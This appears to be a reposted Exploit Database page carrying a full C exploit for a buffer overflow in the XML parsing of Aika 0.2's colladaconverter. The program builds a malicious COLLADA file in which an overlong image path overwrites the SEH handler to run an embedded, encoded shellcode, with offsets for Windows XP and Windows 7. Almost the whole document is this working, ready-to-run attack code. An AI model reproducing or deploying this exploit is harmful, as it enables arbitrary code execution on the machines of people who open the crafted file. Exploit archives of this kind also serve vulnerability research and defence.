Aika 0.2 – colladaconverter Xml Parsing Buffer Overflow

• Exploit Database
• 110 阅读

• 作者： isciurus
  日期： 2011-09-12
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/17820/
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  /* ////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// # Exploit Title: Aika colladaconverter buffer overflow exploit # Date: 09/11/2011 # Author: isciurus # Software Link: http://aika.googlecode.com/files/aika-v02.zip # Version: 0.2 # Tested on: Windows 7 x64 This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program.If not, see <http://www.gnu.org/licenses/gpl-3.0.html>. ////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// */   #include <stdio.h> #include <windows.h> #include <stdlib.h> #include "string.h"   char printableASCIIShellcode[] = // encoded 499 bytes "WUQQUj3hKzJYSaRYjVCX4VGRH4z0BfXRQPPZjQX4QP2BM0BMX2Ai0BMXYZPOCKHG" // will be injected inside the file path --------- "OHOCHGCKHKkAgFCBMGKJEA3Ag2Bg0BgABE94ku2QmAiAszHthbzMIMQ8Uz9TFQWC" //| "GDNW6jYeJ8l47kSCPlKPRZljwLskRH6RQ0OiKjRENz4TUYHTfu6rjMTi1NAjGwMF" //| "RHxIjxgzoZnVXlGIXJbCJYhxKHXKvjyFXDDLbNydxzXT3vTJdfa7Hpp3VM1jUOVv" //| "UJYuPT3vkOQIPYGxa6Rk6NOaV9PEH56Mrrz5ZSPLOAvKIsFOCbfqWBRXPCNWSmJf" //| "EVCXNoYNR9oDOaWoykz1Ev3TxcSHQz4ZOOLxlGBjsDGWGJs1EOCNqaAAOWHAMWCx" //| "JEFIrTQ70vEFELaCIPPAPP0GUSmGfq1ZioUNQQATGCISZuJHNKRnlC3baNSAvIRO" //| "HLvt4zVFHLkLxBQR5XsKpEN90RgdBZlNmISLELGsEL0myBVKzJY"; //| //| char xml[] = //| "<?xml version=\"1.0\" encoding=\"utf8\"?>"//| "<COLLADA xmlns=\"http://www.collada.org/2005/11/COLLADASchema\" version=\"1.4.1\">" //| "<asset>"//| "<contributor>"//| "<author>isciurus</author>"//| "<comments>The shellcode encoded with http://www.exploit-db.com/exploits/13286/</comments>" // | "</contributor>" //| "<created>2011-09-04T22:29:59Z</created>"//| "<modified>2011-09-04T22:29:59Z</modified>"//| "<unit meter=\"0.01\" name=\"centimeter\"/>" //| "<up_axis>Y_UP</up_axis>"//| "</asset>" //| "<library_cameras>"//| "<camera id=\"cameraShape1\" name=\"cameraShape1\">" //| "<optics>" //| "<technique_common>" //| "<perspective>"//| "<yfov>37.8492</yfov>" //| "<aspect_ratio>1.5</aspect_ratio>" //| "<znear>1</znear>" //| "<zfar>10000</zfar>" //| "</perspective>" //| "</technique_common>"//| "</optics>"//| "</camera>"//| "</library_cameras>" //| "<library_lights></library_lights>"//| "<library_images>" //| "<image id=\"file2\" name=\"file2\" depth=\"1\">"//| "<init_from>E:\\aika\\"//<--------------------------- "SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS" "SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS" "SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS" "SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS" "SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS" "SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS" "SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS" "SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS" "SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS" "SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS" "SSSSSSSSSSSSSSADDR_1AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" // ^ // | //------------------------------------------------- the shellcode will be copied at this address "AAAAA" " </init_from>" "</image>" " <image id=\"file3\" name=\"file3\" depth=\"1\">" "<init_from>E:\\aika\\" "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB" "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB" "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB" "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB" "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB" "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB" "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB" "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB" "BBBBBBBBADDR_2AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" // ^ // | //-------------------------------------------------------- these bytes will overwrite SEH handler "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" // this part forces the application to write outside "AAAAAAAAAAAAAAAAAAAA" // the stack and triggers AV exception " </init_from>" "</image>" "</library_images>" "<library_materials>" "<material id=\"blinn3\" name=\"blinn3\">" "<instance_effect url=\"#blinn3-fx\"/>" "</material>" "</library_materials>" "<library_geometries>" "<geometry id=\"LOD3spShape-lib\" name=\"LOD3spShape\">" "<mesh>" "<source id=\"LOD3spShape-lib-positions\" name=\"position\">" "<technique_common>" "<accessor count=\"2108\" offset=\"0\" source=\"#LOD3spShape-lib-positions-array\" stride=\"3\">" "<param name=\"X\" type=\"float\"/>" "<param name=\"Y\" type=\"float\"/>" "<param name=\"Z\" type=\"float\"/>" "</accessor>" "</technique_common>" "</source>" "<source id=\"LOD3spShape-lib-normals\" name=\"normal\">" "<technique_common>" "<accessor count=\"2290\" offset=\"0\" source=\"#LOD3spShape-lib-normals-array\" stride=\"3\">" "<param name=\"X\" type=\"float\"/>" "<param name=\"Y\" type=\"float\"/>" "<param name=\"Z\" type=\"float\"/>" "</accessor>" "</technique_common>" "</source>" "<source id=\"LOD3spShape-lib-map1\" name=\"map1\">" "<technique_common>" "<accessor count=\"2277\" offset=\"0\" source=\"#LOD3spShape-lib-map1-array\" stride=\"2\">" "<param name=\"S\" type=\"float\"/>" "<param name=\"T\" type=\"float\"/>" "</accessor>" "</technique_common>" "</source>" "<vertices id=\"LOD3spShape-lib-vertices\">" "<input semantic=\"POSITION\" source=\"#LOD3spShape-lib-positions\"/>" "</vertices>" "<triangles count=\"4212\" material=\"blinn3SG\">" "<input offset=\"0\" semantic=\"VERTEX\" source=\"#LOD3spShape-lib-vertices\"/>" "<input offset=\"1\" semantic=\"NORMAL\" source=\"#LOD3spShape-lib-normals\"/>" "<input offset=\"2\" semantic=\"TEXCOORD\" source=\"#LOD3spShape-lib-map1\" set=\"0\"/>" "<p>375</p>" "</triangles>" "</mesh>" "</geometry>" "</library_geometries>" "<scene>" "<instance_visual_scene url=\"#VisualSceneNode\"/>" "</scene>" "</COLLADA>";   int main(int argc, char **argv) { FILE *xml_file; char win7; char *offset; char *ll;   if(argc < 2) { printf("\nUsage: aika_bof <malformed_collada_xml_path>"); return 0; }   if(sizeof(printableASCIIShellcode) > 644) { printf("\nSorry, the shellcode is too long, 644 chars is maximum"); return 0; } while(1) { char os;   printf("\nChoose OS version ([X] for Windows XP, [7] for Windows 7):"); os = tolower(getchar()); if(os == &apos;x&apos;) { win7 = 0; break; } else if(os == &apos;7&apos;) { win7 = 1; break; } else { printf("\nUnknown OS version"); } }   printf("\n[*] Injecting the shellcode into the xml...");   offset = strstr(xml, "SSSSSSSSSSSSSSSSSSSSSSSSSSSS"); strncpy(offset, printableASCIIShellcode, sizeof(printableASCIIShellcode) - 1); if(win7 == 1) { offset = strstr(xml, "ADDR_1"); strncpy(offset, "%40%02", sizeof("%40%02") -1); offset = strstr(xml, "ADDR_2"); strncpy(offset, "%40%02", sizeof("%40%02") -1); } else { offset = strstr(xml, "ADDR_1"); strncpy(offset, "%40%01", sizeof("%40%01") -1); offset = strstr(xml, "ADDR_2"); strncpy(offset, "%40%01", sizeof("%40%01") -1); }   printf("done");   printf("\n[*] Writing %d bytes to %s...", sizeof(xml), argv[1]); xml_file = fopen(argv[1], "wb"); if(xml_file == NULL) { printf("\nerror while opening %s", argv[1]); return 0; } if(fwrite(xml, 1, sizeof(xml) - 1, xml_file) != sizeof(xml) - 1) { printf("\nerror while writing into %s", argv[1]); return 0; }   printf("done"); }